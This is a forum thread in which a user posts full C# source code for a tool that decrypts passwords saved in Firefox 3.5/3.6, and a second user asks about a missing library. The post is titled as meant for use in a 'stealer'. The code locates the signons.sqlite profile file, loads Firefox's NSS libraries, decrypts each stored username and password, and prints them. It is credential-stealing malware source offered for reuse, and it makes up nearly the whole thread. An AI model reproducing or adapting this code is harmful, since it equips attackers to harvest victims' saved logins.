[C#] Firefox Password Decrypter (Use for stealer!)

[MattSmith]

Found this code out of boredom. So here it is!

 using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Data;
using SQLiteWrapper;
using System.Text;
 
namespace DarkSelFFDecryptor
{
    //Firefox 3.5 and 3.6 Decryptor
    //Coded by DarkSel
    //Email and MSN: darksel.ltd@live.com
    //Websites:
    //http://www.leetcoders.org
    //Made January 30, 2010
 
    //Credits to CodeProject for the SQLiteWrapper class
    //Shouts to Steve, Son1cBl4st, Farhan878, Fenimin, Aeonhack,
    //Albertino, JapaBrz, and all the other coders I grew up with!
 
    //If you used this in your program, add me in the credits!
 
    static class FFDecryptor
    {
        public class SHITEMID
        {
            public static long cb;
            public static byte[] abID;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct TSECItem
        {
            public int SECItemType;
            public int SECItemData;
            public int SECItemLen;
        }
      
        [DllImport("kernel32.dll")]
        private static extern IntPtr LoadLibrary(string dllFilePath);
        static IntPtr NSS3;
        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate long DLLFunctionDelegate(string configdir);
        public static long NSS_Init(string configdir)
        {
            string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
            LoadLibrary(MozillaPath + "mozcrt19.dll");
            LoadLibrary(MozillaPath + "nspr4.dll");
            LoadLibrary(MozillaPath + "plc4.dll");
            LoadLibrary(MozillaPath + "plds4.dll");
            LoadLibrary(MozillaPath + "ssutil3.dll");
            LoadLibrary(MozillaPath + "sqlite3.dll");
            LoadLibrary(MozillaPath + "nssutil3.dll");
            LoadLibrary(MozillaPath + "softokn3.dll");
            NSS3 = LoadLibrary(MozillaPath + "nss3.dll");
            IntPtr pProc = GetProcAddress(NSS3, "NSS_Init");
             DLLFunctionDelegate dll = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate));
            return dll(configdir);
        }
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate long DLLFunctionDelegate2();
        public static long PK11_GetInternalKeySlot()
        {
            IntPtr pProc = GetProcAddress(NSS3, "PK11_GetInternalKeySlot");
            DLLFunctionDelegate2 dll = (DLLFunctionDelegate2)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate2));
            return dll();
        }
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate long DLLFunctionDelegate3(long slot, bool loadCerts, long wincx);
        public static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
        {
            IntPtr pProc = GetProcAddress(NSS3, "PK11_Authenticate");
            DLLFunctionDelegate3 dll = (DLLFunctionDelegate3)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate3));
            return dll(slot, loadCerts, wincx);
        }
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate int DLLFunctionDelegate4(IntPtr arenaOpt,IntPtr outItemOpt, StringBuilder inStr, int inLen);
        public static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
        {
            IntPtr pProc = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer");
            DLLFunctionDelegate4 dll = (DLLFunctionDelegate4)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate4));
            return dll(arenaOpt, outItemOpt, inStr, inLen);
        }
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        public delegate int DLLFunctionDelegate5(ref TSECItem data, ref TSECItem result, int cx);
        public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
        {
            IntPtr pProc = GetProcAddress(NSS3, "PK11SDR_Decrypt");
            DLLFunctionDelegate5 dll = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5));
            return dll(ref data, ref result, cx);
        }
        //PK11_GetInternalKeySlot
        
        public static string signon;
        static void Main(string[] args)
        {
            Console.Title = "Firefox 3.5 & 3.6 Decryptor";
            Console.WriteLine("Firefox 3.5 & 3.6 Decryptor in C#");
            Console.WriteLine("Coded by DarkSel (darksel.ltd@live.com)");
            Console.WriteLine();
            bool FoundFile = false;
            long KeySlot = 0;
            string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
            string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";
            string[] Dirs = Directory.GetDirectories(DefaultPath);
                foreach (string dir in Dirs)
                {
                    if (!FoundFile)
                    {
                        string[] Files = Directory.GetFiles(dir);
                        foreach (string CurrFile in Files)
                        {
                            if (!FoundFile)
                            {
                                if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
                                {
                                    NSS_Init(dir);
                                    signon = CurrFile;
                                }
                            }
 
                            else
                            {
                                break;
                            }
                        }
                    }
                    else
                    {
                        break;
                    }
                }
                
                string dataSource = signon;
                TSECItem tSec = new TSECItem();
                TSECItem tSecDec = new TSECItem();
                TSECItem tSecDec2 = new TSECItem();
                byte[] bvRet;
                SQLiteBase db = new SQLiteBase(dataSource);
                
                DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;");
                DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");
                Console.WriteLine("---Excluded hosts---");
                foreach (DataRow row in table2.Rows)
                {
                    Console.WriteLine(row["hostname"].ToString());
                }
                Console.WriteLine();
                Console.WriteLine();
                KeySlot = PK11_GetInternalKeySlot();
                PK11_Authenticate(KeySlot, true, 0);
                Console.WriteLine("---Saved Users & Passwords---");
                foreach (System.Data.DataRow Zeile in table.Rows)
                {
                    string formurl = System.Convert.ToString(Zeile["formSubmitURL"].ToString());
                    Console.WriteLine("URL: " + formurl);
                   StringBuilder se = new StringBuilder(Zeile["encryptedUsername"].ToString());
                   int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
                   TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
                   if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                   {
                        if (tSecDec.SECItemLen != 0)
                        {
                            bvRet = new byte[tSecDec.SECItemLen];
                            Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                            Console.WriteLine("USER: " + System.Text.Encoding.ASCII.GetString(bvRet));
                        }
                    }
                   StringBuilder se2 = new StringBuilder(Zeile["encryptedPassword"].ToString());
                   int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
                   TSECItem item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
                   if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
                   {
                       if (tSecDec2.SECItemLen != 0)
                       {
                           bvRet = new byte[tSecDec2.SECItemLen];
                           Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                           Console.WriteLine("PASSWORD: " + System.Text.Encoding.ASCII.GetString(bvRet));
                       }
                   }
                   Console.WriteLine();
                }
                Console.ReadKey();
            }
      
    }
} 
  

[Chris]

What about the SQLiteWrapper?

[MattSmith]

Did a quick google search, im sure you can find them here:

SQLite CVSTrac